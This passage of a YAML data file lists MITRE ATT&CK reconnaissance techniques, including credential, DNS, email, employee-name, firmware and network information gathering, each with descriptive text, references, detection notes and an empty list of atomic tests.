      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1589.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1589.001
        url: https://attack.mitre.org/techniques/T1589/001
      - source_name: ATT ScanBox
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
      - source_name: Register Deloitte
        url: https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/
        description: 'Thomson, I. (2017, September 26). Deloitte is a sitting duck:
          Key systems with RDP open, VPN and proxy ''login details leaked''. Retrieved
          October 19, 2020.'
      - source_name: Register Uber
        url: https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/
        description: McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub
          into court to find who hacked database of 50,000 drivers. Retrieved October
          19, 2020.
      - source_name: Detectify Slack Tokens
        url: https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/
        description: Detectify. (2016, April 28). Slack bot token leakage exposing
          business critical information. Retrieved October 19, 2020.
      - source_name: Forbes GitHub Creds
        url: https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196
        description: Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud
          Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved
          October 19, 2020.
      - source_name: GitHub truffleHog
        url: https://github.com/dxa4481/truffleHog
        description: Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October
          19, 2020.
      - source_name: GitHub Gitrob
        url: https://github.com/michenriksen/gitrob
        description: 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open
          Source in OSINT. Retrieved October 19, 2020.'
      - source_name: CNET Leaks
        url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
        description: Ng, A. (2019, January 17). Massive breach leaks 773 million email
          addresses, 21 million passwords. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Credentials
      description: |-
        Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.

        Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
      id: attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:26:44.352Z'
      created: '2020-10-02T14:55:43.815Z'
      x_mitre_contributors:
      - Vinayak Wadhwa, Lucideus
      - Lee Christensen, SpecterOps
      - Toby Kohlenberg
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1590.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1590.002
        url: https://attack.mitre.org/techniques/T1590/002
      - source_name: DNS Dumpster
        url: https://dnsdumpster.com/
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
      - source_name: Circl Passive DNS
        url: https://www.circl.lu/services/passive-dns/
        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
          Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: DNS
      description: |-
        Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.

        Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      id: attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:29:18.740Z'
      created: '2020-10-02T15:47:10.102Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1596.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1596.001
        url: https://attack.mitre.org/techniques/T1596/001
      - source_name: DNS Dumpster
        url: https://dnsdumpster.com/
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
      - source_name: Circl Passive DNS
        url: https://www.circl.lu/services/passive-dns/
        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
          Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: DNS/Passive DNS
      description: |-
        Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.

        Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      id: attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:49:13.409Z'
      created: '2020-10-02T16:57:45.044Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1591.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1591.001
        url: https://attack.mitre.org/techniques/T1591/001
      - source_name: ThreatPost Broadvoice Leak
        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
          Personal Voicemail Transcripts. Retrieved October 20, 2020.
      - source_name: DOB Business Lookup
        url: https://www.dobsearch.com/business-lookup/
        description: Concert Technologies . (n.d.). Business Lookup - Company Name
          Search. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Determine Physical Locations
      description: |-
        Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).
      id: attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:37:35.863Z'
      created: '2020-10-02T16:32:33.126Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1596.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1596.003
        url: https://attack.mitre.org/techniques/T1596/003
      - source_name: SSLShopper Lookup
        url: https://www.sslshopper.com/ssl-checker.html
        description: SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.
      - source_name: Medium SSL Cert
        url: https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2
        description: Jain, M. (2019, September 16). Export & Download — SSL Certificate
          from Server (Site URL). Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Digital Certificates
      description: |-
        Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.

        Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      id: attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:48:37.628Z'
      created: '2020-10-02T16:58:58.738Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1590.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1590.001
        url: https://attack.mitre.org/techniques/T1590/001
      - source_name: WHOIS
        url: https://www.whois.net/
        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
      - source_name: DNS Dumpster
        url: https://dnsdumpster.com/
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
      - source_name: Circl Passive DNS
        url: https://www.circl.lu/services/passive-dns/
        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
          Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Domain Properties
      description: |-
        Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
      id: attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:30:33.508Z'
      created: '2020-10-02T15:46:24.670Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1589.002:
    technique:
      created: '2020-10-02T14:56:24.866Z'
      modified: '2021-04-15T03:27:19.702Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      type: attack-pattern
      id: attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262
      description: |-
        Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.

        Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
      name: Email Addresses
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1589.002
        url: https://attack.mitre.org/techniques/T1589/002
      - source_name: HackersArise Email
        url: https://www.hackers-arise.com/email-scraping-and-maltego
        description: Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved
          October 20, 2020.
      - source_name: CNET Leaks
        url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
        description: Ng, A. (2019, January 17). Massive breach leaks 773 million email
          addresses, 21 million passwords. Retrieved October 20, 2020.
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
    atomic_tests: []
  T1589.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1589.003
        url: https://attack.mitre.org/techniques/T1589/003
      - source_name: OPM Leak
        url: https://www.opm.gov/cybersecurity/cybersecurity-incidents/
        description: Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS.
          Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Employee Names
      description: |-
        Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.

        Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
      id: attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:27:49.437Z'
      created: '2020-10-02T14:57:15.906Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1592.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1592.003
        url: https://attack.mitre.org/techniques/T1592/003
      - source_name: ArsTechnica Intel
        url: https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/
        description: Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel
          source code and proprietary data dumped online. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Firmware
      description: |-
        Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
      id: attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:22:46.759Z'
      created: '2020-10-02T16:46:42.537Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1592:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1592
        url: https://attack.mitre.org/techniques/T1592
      - source_name: ATT ScanBox
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Gather Victim Host Information
      description: |-
        Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      id: attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      modified: '2021-04-15T03:23:58.024Z'
      created: '2020-10-02T16:39:33.966Z'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
    atomic_tests: []
  T1589:
    technique:
      created: '2020-10-02T14:54:59.263Z'
      modified: '2021-04-15T03:27:49.579Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      type: attack-pattern
      id: attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4
      name: Gather Victim Identity Information
      description: |-
        Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1589
        url: https://attack.mitre.org/techniques/T1589
      - source_name: OPM Leak
        url: https://www.opm.gov/cybersecurity/cybersecurity-incidents/
        description: Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS.
          Retrieved October 20, 2020.
      - source_name: Register Deloitte
        url: https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/
        description: 'Thomson, I. (2017, September 26). Deloitte is a sitting duck:
          Key systems with RDP open, VPN and proxy ''login details leaked''. Retrieved
          October 19, 2020.'
      - source_name: Register Uber
        url: https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/
        description: McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub
          into court to find who hacked database of 50,000 drivers. Retrieved October
          19, 2020.
      - source_name: Detectify Slack Tokens
        url: https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/
        description: Detectify. (2016, April 28). Slack bot token leakage exposing
          business critical information. Retrieved October 19, 2020.
      - source_name: Forbes GitHub Creds
        url: https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196
        description: Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud
          Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved
          October 19, 2020.
      - source_name: GitHub truffleHog
        url: https://github.com/dxa4481/truffleHog
        description: Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October
          19, 2020.
      - source_name: GitHub Gitrob
        url: https://github.com/michenriksen/gitrob
        description: 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open
          Source in OSINT. Retrieved October 19, 2020.'
      - source_name: CNET Leaks
        url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
        description: Ng, A. (2019, January 17). Massive breach leaks 773 million email
          addresses, 21 million passwords. Retrieved October 20, 2020.
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
    atomic_tests: []
  T1590:
    technique:
      created: '2020-10-02T15:45:17.628Z'
      modified: '2021-04-15T03:34:23.229Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      type: attack-pattern
      id: attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109
      description: |-
        Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      name: Gather Victim Network Information
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1590
        url: https://attack.mitre.org/techniques/T1590
      - source_name: WHOIS
        url: https://www.whois.net/
        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
      - source_name: DNS Dumpster
        url: https://dnsdumpster.com/
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
      - source_name: Circl Passive DNS
        url: https://www.circl.lu/services/passive-dns/
        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
          Retrieved October 20, 2020.
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
